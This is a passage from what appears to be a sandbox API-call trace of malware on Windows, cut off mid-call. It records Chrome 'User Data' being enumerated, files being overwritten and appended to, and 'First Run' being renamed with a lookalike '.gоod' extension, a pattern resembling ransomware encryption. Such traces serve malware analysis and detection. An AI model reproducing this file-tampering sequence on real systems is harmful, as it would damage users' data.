[0159.428] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0159.428] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing", cAlternateFileName="SAFEBR~1")) returned 1 [0159.428] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0159.429] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Subresource Filter", cAlternateFileName="SUBRES~1")) returned 1 [0159.429] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0159.429] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0159.429] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0159.429] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0159.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0159.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0159.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x35 [0159.430] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.431] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.431] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0159.431] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0159.431] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a8a90d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe6ef52bb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe6f1b526, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~2.PMA")) returned 1 [0159.431] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa82ac98, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0159.432] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0159.432] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5113f4c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0159.432] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b9a7a7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa7de7b5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa804a17, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12408, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0159.432] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0159.432] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0159.432] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0159.432] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing", cAlternateFileName="SAFEBR~1")) returned 1 [0159.433] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0159.433] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Subresource Filter", cAlternateFileName="SUBRES~1")) returned 1 [0159.433] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0159.433] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0159.433] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.433] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0159.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0159.434] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", lpFilePart=0x0) returned 0x3f [0159.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3e0) returned 1 [0159.434] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\first run"), fInfoLevelId=0x0, lpFileInformation=0x351be00 | out: lpFileInformation=0x351be00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5113f4c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb3a0) returned 1 [0159.435] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", nBufferLength=0x105, lpBuffer=0x1f6ead70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", lpFilePart=0x0) returned 0x3f [0159.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb290) returned 1 [0159.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\first run"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0159.436] GetFileType (hFile=0x810) returned 0x1 [0159.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb200) returned 1 [0159.436] GetFileType (hFile=0x810) returned 0x1 [0159.436] GetFileSize (in: hFile=0x810, lpFileSizeHigh=0x1f6eb438 | out: lpFileSizeHigh=0x1f6eb438*=0x0) returned 0x0 [0159.436] CloseHandle (hObject=0x810) returned 1 [0159.712] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", nBufferLength=0x105, lpBuffer=0x1f6ead70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", lpFilePart=0x0) returned 0x3f [0159.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb290) returned 1 [0159.713] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\first run"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.713] GetFileType (hFile=0x61c) returned 0x1 [0159.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb200) returned 1 [0159.713] GetFileType (hFile=0x61c) returned 0x1 [0159.713] WriteFile (in: hFile=0x61c, lpBuffer=0x3592a90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6eb278, lpOverlapped=0x0 | out: lpBuffer=0x3592a90*, lpNumberOfBytesWritten=0x1f6eb278*=0x10, lpOverlapped=0x0) returned 1 [0159.714] CloseHandle (hObject=0x61c) returned 1 [0159.714] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", lpFilePart=0x0) returned 0x3f [0159.714] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run.gоod", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run.gоod", lpFilePart=0x0) returned 0x44 [0159.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3a0) returned 1 [0159.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\first run"), fInfoLevelId=0x0, lpFileInformation=0x1f6eb480 | out: lpFileInformation=0x1f6eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5b697bd6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0159.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb360) returned 1 [0159.714] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\first run"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\first run.gоod")) returned 1 [0159.715] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", lpFilePart=0x0) returned 0x41 [0159.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3e0) returned 1 [0159.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state"), fInfoLevelId=0x0, lpFileInformation=0x3593cb0 | out: lpFileInformation=0x3593cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b9a7a7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa7de7b5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa804a17, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12408)) returned 1 [0159.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb3a0) returned 1 [0159.716] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", lpFilePart=0x0) returned 0x41 [0159.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0159.716] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.716] GetFileType (hFile=0x61c) returned 0x1 [0159.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0159.716] GetFileType (hFile=0x61c) returned 0x1 [0159.716] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x1000 [0159.716] ReadFile (in: hFile=0x61c, lpBuffer=0x35940a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb408, lpOverlapped=0x0 | out: lpBuffer=0x35940a8*, lpNumberOfBytesRead=0x1f6eb408*=0x1000, lpOverlapped=0x0) returned 1 [0159.718] CloseHandle (hObject=0x61c) returned 1 [0159.718] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", lpFilePart=0x0) returned 0x41 [0159.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0159.718] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.718] GetFileType (hFile=0x61c) returned 0x1 [0159.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0159.718] GetFileType (hFile=0x61c) returned 0x1 [0159.718] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x12408 [0159.718] WriteFile (in: hFile=0x61c, lpBuffer=0x3595748*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6eb328, lpOverlapped=0x0 | out: lpBuffer=0x3595748*, lpNumberOfBytesWritten=0x1f6eb328*=0x10, lpOverlapped=0x0) returned 1 [0159.719] CloseHandle (hObject=0x61c) returned 1 [0159.719] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", lpFilePart=0x0) returned 0x41 [0159.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0159.719] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.719] GetFileType (hFile=0x61c) returned 0x1 [0159.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0159.719] GetFileType (hFile=0x61c) returned 0x1 [0159.719] ReadFile (in: hFile=0x61c, lpBuffer=0x35979f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb3b8, lpOverlapped=0x0 | out: lpBuffer=0x35979f8*, lpNumberOfBytesRead=0x1f6eb3b8*=0x1000, lpOverlapped=0x0) returned 1 [0159.747] CloseHandle (hObject=0x61c) returned 1 [0159.747] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", lpFilePart=0x0) returned 0x41 [0159.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0159.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0xc0000000, 